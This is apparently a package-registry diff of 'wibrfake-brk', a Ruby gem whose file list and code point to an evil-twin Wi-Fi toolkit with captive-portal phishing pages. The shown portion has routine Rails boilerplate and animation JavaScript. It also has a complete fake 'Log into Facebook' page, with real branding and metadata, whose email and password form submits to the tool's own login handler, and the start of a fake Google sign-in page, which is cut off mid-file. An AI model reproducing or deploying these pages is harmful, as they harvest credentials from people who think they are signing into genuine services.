wibrfake-brk 0.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (275) hide show
  1. checksums.yaml +7 -0
  2. data/.dockerignore +48 -0
  3. data/.gitattributes +19 -0
  4. data/.github/dependabot.yml +12 -0
  5. data/.github/workflows/ci.yml +90 -0
  6. data/.rubocop.yml +8 -0
  7. data/.ruby-version +1 -0
  8. data/Dockerfile +69 -0
  9. data/Gemfile +68 -0
  10. data/README.md +188 -0
  11. data/Rakefile +6 -0
  12. data/app/assets/config/manifest.js +5 -0
  13. data/app/assets/images/.keep +0 -0
  14. data/app/assets/images/2024-12-30-07:58:34-screenshot.png +0 -0
  15. data/app/assets/images/facebook/facebook-logo.svg +3 -0
  16. data/app/assets/images/google/googlelogo_color_272x92dp.png +0 -0
  17. data/app/assets/images/instagram/app-store.png +0 -0
  18. data/app/assets/images/instagram/google-play.png +0 -0
  19. data/app/assets/images/instagram/instagram-logo.png +0 -0
  20. data/app/assets/images/instagram/screenshot1.png +0 -0
  21. data/app/assets/images/instagram/screenshot2.png +0 -0
  22. data/app/assets/images/instagram/screenshot3.png +0 -0
  23. data/app/assets/images/instagram/screenshot4.png +0 -0
  24. data/app/assets/images/nauta_etecsa/CUBADEBATE.jpg +0 -0
  25. data/app/assets/images/nauta_etecsa/CUBAEDUCA.jpg +0 -0
  26. data/app/assets/images/nauta_etecsa/CUBARTE.jpg +0 -0
  27. data/app/assets/images/nauta_etecsa/CUBASI.jpg +0 -0
  28. data/app/assets/images/nauta_etecsa/ECURED.jpg +0 -0
  29. data/app/assets/images/nauta_etecsa/OFERTAS.jpg +0 -0
  30. data/app/assets/images/nauta_etecsa/PAPELETA.jpg +0 -0
  31. data/app/assets/images/nauta_etecsa/contenedor_bg.jpg +0 -0
  32. data/app/assets/images/nauta_etecsa/etecsa.jpg +0 -0
  33. data/app/assets/images/nauta_etecsa/nauta_wifi.jpg +0 -0
  34. data/app/assets/images/nauta_hogar/CUBADEBATE.jpg +0 -0
  35. data/app/assets/images/nauta_hogar/CUBAEDUCA.jpg +0 -0
  36. data/app/assets/images/nauta_hogar/CUBARTE.jpg +0 -0
  37. data/app/assets/images/nauta_hogar/CUBASI.jpg +0 -0
  38. data/app/assets/images/nauta_hogar/ECURED.jpg +0 -0
  39. data/app/assets/images/nauta_hogar/OFERTAS.jpg +0 -0
  40. data/app/assets/images/nauta_hogar/PAPELETA.jpg +0 -0
  41. data/app/assets/images/nauta_hogar/banner_hogar.png +0 -0
  42. data/app/assets/images/wibrfake/Breaker-Wallpaper1.jpg +0 -0
  43. data/app/assets/images/wibrfake/mac-list-parameter.png +0 -0
  44. data/app/assets/images/wibrfake/wibrfake-100x100.png +0 -0
  45. data/app/assets/images/wibrfake/wibrfake-32x32.png +0 -0
  46. data/app/assets/images/wibrfake/wibrfake-48x48.png +0 -0
  47. data/app/assets/images/wibrfake/wibrfake-apfake-on.png +0 -0
  48. data/app/assets/images/wibrfake/wibrfake-apfake-set-basic.png +0 -0
  49. data/app/assets/images/wibrfake/wibrfake-apfake-show.png +0 -0
  50. data/app/assets/images/wibrfake/wibrfake-help.png +0 -0
  51. data/app/assets/images/wibrfake/wibrfake-hostpot.png +0 -0
  52. data/app/assets/images/wibrfake/wibrfake-init.png +0 -0
  53. data/app/assets/images/wibrfake/wibrfake-init2.png +0 -0
  54. data/app/assets/images/wibrfake/wibrfake-login-basic.jpg +0 -0
  55. data/app/assets/images/wibrfake/wibrfake-mac-list.png +0 -0
  56. data/app/assets/images/wibrfake/wibrfake-mac-ramset-oui.png +0 -0
  57. data/app/assets/images/wibrfake/wibrfake-mac-ramset.png +0 -0
  58. data/app/assets/images/wibrfake/wibrfake-mac-set.png +0 -0
  59. data/app/assets/images/wibrfake/wibrfake-mac-show.png +0 -0
  60. data/app/assets/images/wibrfake/wibrfake-need-signin.jpg +0 -0
  61. data/app/assets/images/wibrfake/wibrfake-session-active.png +0 -0
  62. data/app/assets/images/wibrfake/wibrfake-session-init.png +0 -0
  63. data/app/assets/images/wibrfake/wibrfake-session-list.png +0 -0
  64. data/app/assets/images/wibrfake/wibrfake-session-new.png +0 -0
  65. data/app/assets/images/wibrfake/wibrfake-session-rename.png +0 -0
  66. data/app/assets/images/wibrfake/wibrfake-session-save.png +0 -0
  67. data/app/assets/images/wibrfake/wibrfake-web-server-apfake.png +0 -0
  68. data/app/assets/images/wibrfake/wibrfake-web-server-on.png +0 -0
  69. data/app/assets/images/wibrfake/wibrfake-web-server-show.png +0 -0
  70. data/app/assets/images/wibrfake/wibrfake-wkdump-loaded.png +0 -0
  71. data/app/assets/images/wibrfake/wibrfake-wkdump.png +0 -0
  72. data/app/assets/images/wibrfake/wibrfake.png +0 -0
  73. data/app/assets/stylesheets/application.css +15 -0
  74. data/app/assets/stylesheets/basic/page_basic.css +0 -0
  75. data/app/assets/stylesheets/facebook/page_facebook.css +93 -0
  76. data/app/assets/stylesheets/google/page_google.css +137 -0
  77. data/app/assets/stylesheets/instagram/page_instagram.css +94 -0
  78. data/app/assets/stylesheets/nauta_etecsa/page_nauta.css +325 -0
  79. data/app/assets/stylesheets/nauta_hogar/page_nauta.css +469 -0
  80. data/app/assets/stylesheets/wibrfake/page_wibrfake.css +1181 -0
  81. data/app/assets/stylesheets/wibrfake/page_wibrfake_about.css +486 -0
  82. data/app/channels/application_cable/channel.rb +4 -0
  83. data/app/channels/application_cable/connection.rb +4 -0
  84. data/app/controllers/application_controller.rb +15 -0
  85. data/app/controllers/concerns/.keep +0 -0
  86. data/app/controllers/sessions_controller.rb +111 -0
  87. data/app/helpers/application_helper.rb +2 -0
  88. data/app/helpers/sessions_helper.rb +2 -0
  89. data/app/javascript/application.js +3 -0
  90. data/app/javascript/bootstrap.bundle.min.js +7 -0
  91. data/app/javascript/controllers/application.js +9 -0
  92. data/app/javascript/controllers/hello_controller.js +7 -0
  93. data/app/javascript/controllers/index.js +4 -0
  94. data/app/javascript/google/page_google.js +50 -0
  95. data/app/javascript/incorrect3.js +29 -0
  96. data/app/javascript/page_wibrfake.js +50 -0
  97. data/app/javascript/page_wibrfake_about.js +147 -0
  98. data/app/jobs/application_job.rb +7 -0
  99. data/app/mailers/application_mailer.rb +4 -0
  100. data/app/models/application_record.rb +3 -0
  101. data/app/models/concerns/.keep +0 -0
  102. data/app/models/user.rb +6 -0
  103. data/app/views/layouts/application.html.erb +33 -0
  104. data/app/views/layouts/mailer.html.erb +13 -0
  105. data/app/views/layouts/mailer.text.erb +1 -0
  106. data/app/views/pwa/manifest.json.erb +22 -0
  107. data/app/views/pwa/service-worker.js +26 -0
  108. data/app/views/sessions/basic/basic.html.erb +21 -0
  109. data/app/views/sessions/facebook/facebook.html.erb +132 -0
  110. data/app/views/sessions/google/google.html.erb +72 -0
  111. data/app/views/sessions/index.html.erb +11 -0
  112. data/app/views/sessions/instagram/instagram.html.erb +69 -0
  113. data/app/views/sessions/nauta_etecsa/nauta_etecsa.html.erb +97 -0
  114. data/app/views/sessions/nauta_hogar/nauta_hogar.html.erb +135 -0
  115. data/app/views/sessions/wibrfake/about/about.html.erb +164 -0
  116. data/app/views/sessions/wibrfake/wibrfake.html.erb +417 -0
  117. data/bin/.names.rb.swp +0 -0
  118. data/bin/brakeman +7 -0
  119. data/bin/bundle +114 -0
  120. data/bin/docker-entrypoint +13 -0
  121. data/bin/google.wkdump +3 -0
  122. data/bin/importmap +4 -0
  123. data/bin/rails +4 -0
  124. data/bin/rake +4 -0
  125. data/bin/rubocop +8 -0
  126. data/bin/setup +37 -0
  127. data/bin/wibrfake +20 -0
  128. data/config/application.rb +26 -0
  129. data/config/boot.rb +4 -0
  130. data/config/cable.yml +10 -0
  131. data/config/credentials.yml.enc +1 -0
  132. data/config/database.yml +16 -0
  133. data/config/environment.rb +5 -0
  134. data/config/environments/development.rb +85 -0
  135. data/config/environments/production.rb +105 -0
  136. data/config/environments/test.rb +67 -0
  137. data/config/icons/application-x-wkdump.xml +13 -0
  138. data/config/icons/hicolor/16x16/mimetypes/application-x-wkdump.png +0 -0
  139. data/config/icons/hicolor/32x32/mimetypes/application-x-wkdump.png +0 -0
  140. data/config/icons/hicolor/48x48/mimetypes/application-x-wkdump.png +0 -0
  141. data/config/icons/hicolor/icon-theme.cache +0 -0
  142. data/config/icons/hicolor/index.theme +20 -0
  143. data/config/icons/wkdump.desktop +5 -0
  144. data/config/importmap.rb +7 -0
  145. data/config/initializers/assets.rb +12 -0
  146. data/config/initializers/content_security_policy.rb +25 -0
  147. data/config/initializers/devise.rb +313 -0
  148. data/config/initializers/filter_parameter_logging.rb +8 -0
  149. data/config/initializers/inflections.rb +16 -0
  150. data/config/initializers/permissions_policy.rb +13 -0
  151. data/config/locales/devise.en.yml +65 -0
  152. data/config/locales/en.yml +31 -0
  153. data/config/puma.rb +35 -0
  154. data/config/routes.rb +12 -0
  155. data/config/storage.yml +34 -0
  156. data/config.ru +6 -0
  157. data/db/development.sqlite3 +0 -0
  158. data/db/schema.rb +14 -0
  159. data/ext/wibrfake/extconf.rb +3 -0
  160. data/ext/wibrfake/wibrfake.h +0 -0
  161. data/images/ouilist.png +0 -0
  162. data/images/wibrfakehelp.png +0 -0
  163. data/images/wibrfakeinit.png +0 -0
  164. data/lib/assets/.keep +0 -0
  165. data/lib/tasks/.keep +0 -0
  166. data/lib/wibrfake/Config/ipaddr.rb +71 -0
  167. data/lib/wibrfake/Config/options.rb +98 -0
  168. data/lib/wibrfake/Config/security_wpa.rb +43 -0
  169. data/lib/wibrfake/DataBase/howuis.db +0 -0
  170. data/lib/wibrfake/DataBase/ouis.db +0 -0
  171. data/lib/wibrfake/DataBase/ouis.rb +24 -0
  172. data/lib/wibrfake/DataBase/rename.rb +15 -0
  173. data/lib/wibrfake/DataBase/show.rb +18 -0
  174. data/lib/wibrfake/Dnsmasq/dhcp.rb +149 -0
  175. data/lib/wibrfake/Dnsmasq/dhcp_prueba.rb +135 -0
  176. data/lib/wibrfake/Dnsmasq/dns.rb +34 -0
  177. data/lib/wibrfake/Dnsmasq/dns_prueba.rb +36 -0
  178. data/lib/wibrfake/Dnsmasq/dnsmasq.rb +33 -0
  179. data/lib/wibrfake/Listing/apfake.rb +28 -0
  180. data/lib/wibrfake/Listing/clients.rb +76 -0
  181. data/lib/wibrfake/Listing/ouis.rb +53 -0
  182. data/lib/wibrfake/Listing/process.rb +14 -0
  183. data/lib/wibrfake/Listing/sessions.rb +47 -0
  184. data/lib/wibrfake/Listing/web_server.rb +17 -0
  185. data/lib/wibrfake/Listing/wireless.rb +30 -0
  186. data/lib/wibrfake/Logs/credentials.log +59 -0
  187. data/lib/wibrfake/NetworkInterface/ip-routing.rb +99 -0
  188. data/lib/wibrfake/NetworkInterface/mac.rb +114 -0
  189. data/lib/wibrfake/NetworkInterface/monitor.rb +44 -0
  190. data/lib/wibrfake/NetworkInterface/ouis.db +0 -0
  191. data/lib/wibrfake/Process/id.rb +11 -0
  192. data/lib/wibrfake/Process/pids.log +5 -0
  193. data/lib/wibrfake/Process/pkill.rb +124 -0
  194. data/lib/wibrfake/Process/processes.rb +76 -0
  195. data/lib/wibrfake/Rails/login.rb +20 -0
  196. data/lib/wibrfake/Rails/routes.rb +76 -0
  197. data/lib/wibrfake/Rails/service.rb +58 -0
  198. data/lib/wibrfake/Rails/service_usage.rb +46 -0
  199. data/lib/wibrfake/Sessions/session.rb +188 -0
  200. data/lib/wibrfake/String/string.rb +109 -0
  201. data/lib/wibrfake/Tmp/config.yml +1 -0
  202. data/lib/wibrfake/config.rb +24 -0
  203. data/lib/wibrfake/help.rb +107 -0
  204. data/lib/wibrfake/optionpr.rb +68 -0
  205. data/lib/wibrfake/run.rb +9 -0
  206. data/lib/wibrfake/ty/apld.rb +110 -0
  207. data/lib/wibrfake/ty/prompt/answers_collector.rb +78 -0
  208. data/lib/wibrfake/ty/prompt/block_paginator.rb +59 -0
  209. data/lib/wibrfake/ty/prompt/choice.rb +147 -0
  210. data/lib/wibrfake/ty/prompt/choices.rb +129 -0
  211. data/lib/wibrfake/ty/prompt/confirm_question.rb +158 -0
  212. data/lib/wibrfake/ty/prompt/const.rb +17 -0
  213. data/lib/wibrfake/ty/prompt/converter_dsl.rb +21 -0
  214. data/lib/wibrfake/ty/prompt/converter_registry.rb +69 -0
  215. data/lib/wibrfake/ty/prompt/converters.rb +182 -0
  216. data/lib/wibrfake/ty/prompt/distance.rb +49 -0
  217. data/lib/wibrfake/ty/prompt/enum_list.rb +433 -0
  218. data/lib/wibrfake/ty/prompt/errors.rb +31 -0
  219. data/lib/wibrfake/ty/prompt/evaluator.rb +29 -0
  220. data/lib/wibrfake/ty/prompt/expander.rb +321 -0
  221. data/lib/wibrfake/ty/prompt/keypress.rb +98 -0
  222. data/lib/wibrfake/ty/prompt/list.rb +589 -0
  223. data/lib/wibrfake/ty/prompt/mask_question.rb +96 -0
  224. data/lib/wibrfake/ty/prompt/multi_list.rb +224 -0
  225. data/lib/wibrfake/ty/prompt/multiline.rb +72 -0
  226. data/lib/wibrfake/ty/prompt/paginator.rb +111 -0
  227. data/lib/wibrfake/ty/prompt/question/checks.rb +105 -0
  228. data/lib/wibrfake/ty/prompt/question/modifier.rb +96 -0
  229. data/lib/wibrfake/ty/prompt/question/validation.rb +72 -0
  230. data/lib/wibrfake/ty/prompt/question.rb +391 -0
  231. data/lib/wibrfake/ty/prompt/result.rb +42 -0
  232. data/lib/wibrfake/ty/prompt/selected_choices.rb +77 -0
  233. data/lib/wibrfake/ty/prompt/slider.rb +286 -0
  234. data/lib/wibrfake/ty/prompt/statement.rb +55 -0
  235. data/lib/wibrfake/ty/prompt/suggestion.rb +113 -0
  236. data/lib/wibrfake/ty/prompt/symbols.rb +89 -0
  237. data/lib/wibrfake/ty/prompt/test.rb +36 -0
  238. data/lib/wibrfake/ty/prompt/timer.rb +75 -0
  239. data/lib/wibrfake/ty/prompt/utils.rb +42 -0
  240. data/lib/wibrfake/ty/prompt/version.rb +7 -0
  241. data/lib/wibrfake/ty/prompt.rb +589 -0
  242. data/lib/wibrfake/version.rb +5 -0
  243. data/lib/wibrfake/wibrfake_cli.rb +683 -0
  244. data/log/.keep +0 -0
  245. data/pruebas/daemon1.pid +1 -0
  246. data/pruebas/daemon2.pid +1 -0
  247. data/pruebas/daemons.rb +44 -0
  248. data/public/404.html +67 -0
  249. data/public/406-unsupported-browser.html +66 -0
  250. data/public/422.html +67 -0
  251. data/public/500.html +66 -0
  252. data/public/icon.png +0 -0
  253. data/public/icon.svg +3 -0
  254. data/public/robots.txt +1 -0
  255. data/storage/.keep +0 -0
  256. data/test/application_system_test_case.rb +5 -0
  257. data/test/channels/application_cable/connection_test.rb +13 -0
  258. data/test/controllers/.keep +0 -0
  259. data/test/controllers/sessions_controller_test.rb +7 -0
  260. data/test/fixtures/files/.keep +0 -0
  261. data/test/fixtures/users.yml +11 -0
  262. data/test/helpers/.keep +0 -0
  263. data/test/integration/.keep +0 -0
  264. data/test/mailers/.keep +0 -0
  265. data/test/models/.keep +0 -0
  266. data/test/models/user_test.rb +7 -0
  267. data/test/system/.keep +0 -0
  268. data/test/test_helper.rb +15 -0
  269. data/tmp/.keep +0 -0
  270. data/tmp/pids/.keep +0 -0
  271. data/tmp/storage/.keep +0 -0
  272. data/vendor/.keep +0 -0
  273. data/vendor/javascript/.keep +0 -0
  274. data/wibrfake.gemspec +49 -0
  275. metadata +743 -0
@@ -0,0 +1,147 @@
1
+ document.addEventListener('DOMContentLoaded', function() {
2
+ // Intersection Observer for scroll animations
3
+ const observerOptions = {
4
+ threshold: 0.1,
5
+ rootMargin: '0px 0px -50px 0px'
6
+ };
7
+
8
+ const observer = new IntersectionObserver((entries) => {
9
+ entries.forEach(entry => {
10
+ if (entry.isIntersecting) {
11
+ entry.target.classList.add('animate-in');
12
+ observer.unobserve(entry.target);
13
+ }
14
+ });
15
+ }, observerOptions);
16
+
17
+ // Animate elements on scroll
18
+ document.querySelectorAll('.info-card, .feature-item, .team-member, .tech-item, .contact-item').forEach(element => {
19
+ element.style.opacity = '0';
20
+ element.style.transform = 'translateY(20px)';
21
+ observer.observe(element);
22
+ });
23
+
24
+ // Add animation class when elements become visible
25
+ document.querySelectorAll('.animate-on-scroll').forEach(element => {
26
+ observer.observe(element);
27
+ });
28
+
29
+ // Hover effects for feature items
30
+ document.querySelectorAll('.feature-item').forEach(item => {
31
+ item.addEventListener('mouseenter', () => {
32
+ item.querySelector('i').style.transform = 'scale(1.2) rotate(5deg)';
33
+ });
34
+
35
+ item.addEventListener('mouseleave', () => {
36
+ item.querySelector('i').style.transform = 'scale(1) rotate(0deg)';
37
+ });
38
+ });
39
+
40
+ // Team member card interactions
41
+ document.querySelectorAll('.team-member').forEach(member => {
42
+ member.addEventListener('mouseenter', () => {
43
+ member.querySelector('.member-avatar').style.transform = 'scale(1.1)';
44
+ member.querySelectorAll('.social-link').forEach((link, index) => {
45
+ setTimeout(() => {
46
+ link.style.transform = 'translateY(-5px)';
47
+ link.style.opacity = '1';
48
+ }, index * 100);
49
+ });
50
+ });
51
+
52
+ member.addEventListener('mouseleave', () => {
53
+ member.querySelector('.member-avatar').style.transform = 'scale(1)';
54
+ member.querySelectorAll('.social-link').forEach(link => {
55
+ link.style.transform = 'translateY(0)';
56
+ link.style.opacity = '0.7';
57
+ });
58
+ });
59
+ });
60
+
61
+ // Technology item interactions
62
+ document.querySelectorAll('.tech-item').forEach(item => {
63
+ item.addEventListener('mouseenter', () => {
64
+ item.querySelector('i').style.transform = 'scale(1.2)';
65
+ item.style.background = 'rgba(107, 95, 95, 0.15)';
66
+ });
67
+
68
+ item.addEventListener('mouseleave', () => {
69
+ item.querySelector('i').style.transform = 'scale(1)';
70
+ item.style.background = 'rgba(0, 0, 0, 0.2)';
71
+ });
72
+ });
73
+
74
+ // Contact item hover effects
75
+ document.querySelectorAll('.contact-item').forEach(item => {
76
+ item.addEventListener('mouseenter', () => {
77
+ item.querySelector('i').style.transform = 'rotate(15deg)';
78
+ });
79
+
80
+ item.addEventListener('mouseleave', () => {
81
+ item.querySelector('i').style.transform = 'rotate(0deg)';
82
+ });
83
+ });
84
+
85
+ // Add smooth transitions
86
+ document.querySelectorAll('i, a, button').forEach(element => {
87
+ element.style.transition = 'all 0.3s ease';
88
+ });
89
+
90
+ // Initialize elements with animations
91
+ function initializeAnimations() {
92
+ // Header animation
93
+ const header = document.querySelector('.about-header');
94
+ header.style.opacity = '0';
95
+ header.style.transform = 'translateY(-20px)';
96
+
97
+ setTimeout(() => {
98
+ header.style.transition = 'all 0.5s ease-out';
99
+ header.style.opacity = '1';
100
+ header.style.transform = 'translateY(0)';
101
+ }, 100);
102
+
103
+ // Stagger animations for features
104
+ document.querySelectorAll('.feature-item').forEach((item, index) => {
105
+ setTimeout(() => {
106
+ item.classList.add('animate-in');
107
+ }, 200 + (index * 100));
108
+ });
109
+
110
+ // Stagger animations for team members
111
+ document.querySelectorAll('.team-member').forEach((member, index) => {
112
+ setTimeout(() => {
113
+ member.classList.add('animate-in');
114
+ }, 400 + (index * 150));
115
+ });
116
+
117
+ // Stagger animations for tech items
118
+ document.querySelectorAll('.tech-item').forEach((item, index) => {
119
+ setTimeout(() => {
120
+ item.classList.add('animate-in');
121
+ }, 600 + (index * 100));
122
+ });
123
+ }
124
+
125
+ // Add CSS class for animations
126
+ const style = document.createElement('style');
127
+ style.textContent = `
128
+ .animate-in {
129
+ animation: fadeIn 0.5s ease-out forwards;
130
+ }
131
+
132
+ @keyframes fadeIn {
133
+ from {
134
+ opacity: 0;
135
+ transform: translateY(20px);
136
+ }
137
+ to {
138
+ opacity: 1;
139
+ transform: translateY(0);
140
+ }
141
+ }
142
+ `;
143
+ document.head.appendChild(style);
144
+
145
+ // Initialize animations
146
+ initializeAnimations();
147
+ });
@@ -0,0 +1,7 @@
1
+ class ApplicationJob < ActiveJob::Base
2
+ # Automatically retry jobs that encountered a deadlock
3
+ # retry_on ActiveRecord::Deadlocked
4
+
5
+ # Most jobs are safe to ignore if the underlying records are no longer available
6
+ # discard_on ActiveJob::DeserializationError
7
+ end
@@ -0,0 +1,4 @@
1
+ class ApplicationMailer < ActionMailer::Base
2
+ default from: "breakingtws@gmail.com"
3
+ layout "mailer"
4
+ end
@@ -0,0 +1,3 @@
1
+ class ApplicationRecord < ActiveRecord::Base
2
+ primary_abstract_class
3
+ end
File without changes
@@ -0,0 +1,6 @@
1
+ class User < ApplicationRecord
2
+ # Include default devise modules. Others available are:
3
+ # :confirmable, :lockable, :timeoutable, :trackable and :omniauthable
4
+ devise :database_authenticatable, :registerable,
5
+ :recoverable, :rememberable, :validatable
6
+ end
@@ -0,0 +1,33 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <title><%= content_for(:title) || "Wibrfake" %></title>
5
+ <meta name="viewport" content="width=device-width,initial-scale=1">
6
+ <meta name="apple-mobile-web-app-capable" content="yes">
7
+ <%= csrf_meta_tags %>
8
+ <%= csp_meta_tag %>
9
+
10
+ <%= yield :head %>
11
+
12
+ <link rel="manifest" href="/manifest.json">
13
+ <link rel="icon" href="/icon.png" type="image/png">
14
+ <link rel="icon" href="/icon.svg" type="image/svg+xml">
15
+ <link rel="apple-touch-icon" href="/icon.png">
16
+ <%= javascript_importmap_tags %>
17
+ </head>
18
+
19
+ <body>
20
+
21
+ <% if content_for?(:stylesheet) %>
22
+ <%= yield :stylesheet %>
23
+
24
+
25
+ <% end %>
26
+ <% if content_for?(:javascript) %>
27
+ <%= yield :javascript %>
28
+
29
+ <% end %>
30
+ <%= yield %>
31
+
32
+ </body>
33
+ </html>
@@ -0,0 +1,13 @@
1
+ <!DOCTYPE html>
2
+ <html>
3
+ <head>
4
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
5
+ <style>
6
+ /* Email styles need to be inline */
7
+ </style>
8
+ </head>
9
+
10
+ <body>
11
+ <%= yield %>
12
+ </body>
13
+ </html>
@@ -0,0 +1 @@
1
+ <%= yield %>
@@ -0,0 +1,22 @@
1
+ {
2
+ "name": "Wibrfake",
3
+ "icons": [
4
+ {
5
+ "src": "/icon.png",
6
+ "type": "image/png",
7
+ "sizes": "512x512"
8
+ },
9
+ {
10
+ "src": "/icon.png",
11
+ "type": "image/png",
12
+ "sizes": "512x512",
13
+ "purpose": "maskable"
14
+ }
15
+ ],
16
+ "start_url": "/",
17
+ "display": "standalone",
18
+ "scope": "/",
19
+ "description": "Wibrfake.",
20
+ "theme_color": "red",
21
+ "background_color": "red"
22
+ }
@@ -0,0 +1,26 @@
1
+ // Add a service worker for processing Web Push notifications:
2
+ //
3
+ // self.addEventListener("push", async (event) => {
4
+ // const { title, options } = await event.data.json()
5
+ // event.waitUntil(self.registration.showNotification(title, options))
6
+ // })
7
+ //
8
+ // self.addEventListener("notificationclick", function(event) {
9
+ // event.notification.close()
10
+ // event.waitUntil(
11
+ // clients.matchAll({ type: "window" }).then((clientList) => {
12
+ // for (let i = 0; i < clientList.length; i++) {
13
+ // let client = clientList[i]
14
+ // let clientPath = (new URL(client.url)).pathname
15
+ //
16
+ // if (clientPath == event.notification.data.path && "focus" in client) {
17
+ // return client.focus()
18
+ // }
19
+ // }
20
+ //
21
+ // if (clients.openWindow) {
22
+ // return clients.openWindow(event.notification.data.path)
23
+ // }
24
+ // })
25
+ // )
26
+ // })
@@ -0,0 +1,21 @@
1
+ <h2>Iniciar sesion en basic login<h2>
2
+ <% content_for :stylesheet do %>
3
+ <%= stylesheet_link_tag 'basic/page_basic' %>
4
+ <% end %>
5
+
6
+ <!-- Resto del HTML de la vista "basic" -->
7
+ <%= form_with url: basic_login_path, local: true do |f| %>
8
+ <div>
9
+ <%= f.label :username %>
10
+ <%= f.text_field :username, autofocus: true %>
11
+ </div>
12
+
13
+ <div>
14
+ <%= f.label :password %>
15
+ <%= f.password_field :password %>
16
+ </div>
17
+
18
+ <div id="iniciar-sesion">
19
+ <%= f.submit "Iniciar sesion" %>
20
+ </div>
21
+ <% end %>
@@ -0,0 +1,132 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en" id="facebook" class="">
3
+ <head>
4
+ <meta http-equiv="content-type" content="text/html; charset=UTF-8">
5
+ <meta charset="utf-8">
6
+ <meta name="referrer" content="origin-when-crossorigin" id="meta_referrer">
7
+
8
+ <script nonce="">
9
+ function envFlush(a) {
10
+ function b(b) {
11
+ for(var c in a) b[c] = a[c]
12
+ }
13
+ window.requireLazy ? window.requireLazy(["Env"], b) : (window.Env = window.Env || {}, b(window.Env))
14
+ }
15
+ envFlush({
16
+ "useTrustedTypes": false,
17
+ "isTrustedTypesReportOnly": false,
18
+ "ajaxpipe_token": "AXhHVkPn7xmjo49Ii3Q",
19
+ "stack_trace_limit": 30,
20
+ "timesliceBufferSize": 5000,
21
+ "show_invariant_decoder": false,
22
+ "compat_iframe_token": "AUWf1g3Hp9-C48ftLCiIqKSViyU",
23
+ "isCQuick": false,
24
+ "brsid": "7482526861462796748"
25
+ });
26
+ </script>
27
+
28
+ <script nonce="">
29
+ window.openDatabase && (window.openDatabase = function() { throw new Error() });
30
+ </script>
31
+
32
+ <script nonce="">
33
+ _btldr = {};
34
+ </script>
35
+
36
+ <!-- Más scripts y metadatos... -->
37
+
38
+ <title id="pageTitle">Log into Facebook</title>
39
+ <meta name="bingbot" content="noarchive">
40
+ <meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know.">
41
+
42
+ <!-- Open Graph tags -->
43
+ <meta property="og:site_name" content="Facebook">
44
+ <meta property="og:url" content="https://www.facebook.com/login.php/">
45
+ <meta property="og:locale" content="en_US">
46
+
47
+ <!-- Enlaces de recursos -->
48
+ <link rel="canonical" href="https://www.facebook.com/login/web/">
49
+ <link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yx/r/e9sqr8WnkCf.ico">
50
+
51
+ <!-- Hojas de estilo -->
52
+ <% content_for :stylesheet do %>
53
+ <%= stylesheet_link_tag 'facebook/page_facebook' %>
54
+ <% end %>
55
+ <!-- Scripts -->
56
+ <script src="Log%20into%20Facebook_files/awtagErm_wi.js" data-bootloader-hash="bEx44LC" crossorigin="anonymous"></script>
57
+
58
+ <!-- Más scripts y configuraciones... -->
59
+ </head>
60
+
61
+ <body class="_39il _97vt _97vz _97v- _97v_ _97w2 _97w0 _9ax- _9ax_ _9ay1 UIPage_LoggedOut _-kb _605a b_c3pyn-ahh gecko x1 Locale_en_US cores-gte4 _19_u" dir="ltr">
62
+ <!-- Contenido principal -->
63
+ <div class="_li" id="u_0_0_N8">
64
+ <div id="globalContainer" class="uiContextualLayerParent">
65
+ <div class="fb_content clearfix" id="content" role="main">
66
+ <!-- Formulario de login -->
67
+ <div class="_4-u5 _30ny">
68
+ <div class="_97vy">
69
+ <%= image_tag 'facebook/facebook-logo.svg', class: '_97vu img', alt: 'WibrFake'%>
70
+ </div>
71
+
72
+ <div class="_4-u2 _1w1t _4-u8 _52jv">
73
+ <div class="_xku" id="header_block">
74
+ <span class="_97w1 _50f6">
75
+ <div class="_9axz">Log Into Facebook</div>
76
+ </span>
77
+ </div>
78
+
79
+ <div class="login_form_container">
80
+ <form class="form" id="login_form formulario" action="<%= url_for(controller: 'sessions', action: 'facebook_login') %>" method="post">
81
+ <!-- Campos del formulario -->
82
+ <input type="hidden" name="jazoest" value="21051" autocomplete="off">
83
+ <input type="hidden" name="lsd" value="AVrUjvEUkuc" autocomplete="off">
84
+
85
+ <div id="loginform">
86
+ <div class="clearfix _5466 _44mg" id="email_container">
87
+ <input type="text" class="inputtext _55r1 inputtext _1kbt"
88
+ name="email" id="email" placeholder="Email or phone number"
89
+ autofocus autocomplete="username" aria-label="Email or phone number">
90
+ </div>
91
+
92
+ <div class="clearfix _5466 _44mg">
93
+ <div class="_55r1 _1kbt">
94
+ <input type="password" class="inputtext _55r1 inputtext _9npi"
95
+ name="password" id="password" placeholder="Password"
96
+ autocomplete="current-password" aria-label="Password">
97
+ </div>
98
+ </div>
99
+
100
+ <div class="_xkt">
101
+ <button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy"
102
+ id="loginbutton" name="login" type="submit">
103
+ Log In
104
+ </button>
105
+ </div>
106
+
107
+
108
+ </div>
109
+ </form>
110
+ </div>
111
+ </div>
112
+ </div>
113
+ </div>
114
+
115
+ <!-- Pie de página -->
116
+ <div class="_95ke _8opy">
117
+ <div id="pageFooter" data-referrer="page_footer">
118
+ </div>
119
+ </div>
120
+ </div>
121
+ </div>
122
+
123
+ <!-- Scripts finales -->
124
+ <script nonce="">
125
+ // Código de inicialización
126
+ requireLazy(["Bootloader"], function(m) {
127
+ m.handlePayload({/* Configuraciones */});
128
+ });
129
+ </script>
130
+
131
+ </body>
132
+ </html>
@@ -0,0 +1,72 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8">
5
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
+ <title>Google Login - Practice</title>
7
+ <% content_for :stylesheet do %>
8
+ <%= stylesheet_link_tag 'google/page_google' %>
9
+ <% end %>
10
+ <% content_for :javascript do %>
11
+ <%= javascript_include_tag 'google/page_google' %>
12
+ <% end %>
13
+ </head>
14
+ <body>
15
+ <div class="login-container">
16
+ <!-- Form 1: Email/Phone and Password -->
17
+ <form id="formulario" class="login-form active form" action="<%= url_for(controller: 'sessions', action: 'google_login') %>" method="post">
18
+ <%= image_tag 'google/googlelogo_color_272x92dp.png', alt: 'Google', class: 'google-logo' %>
19
+
20
+ <h1>Sign In</h1>
21
+ <p class="subtitle">Use your Google Account</p>
22
+
23
+ <input type="text"
24
+ id="identifier"
25
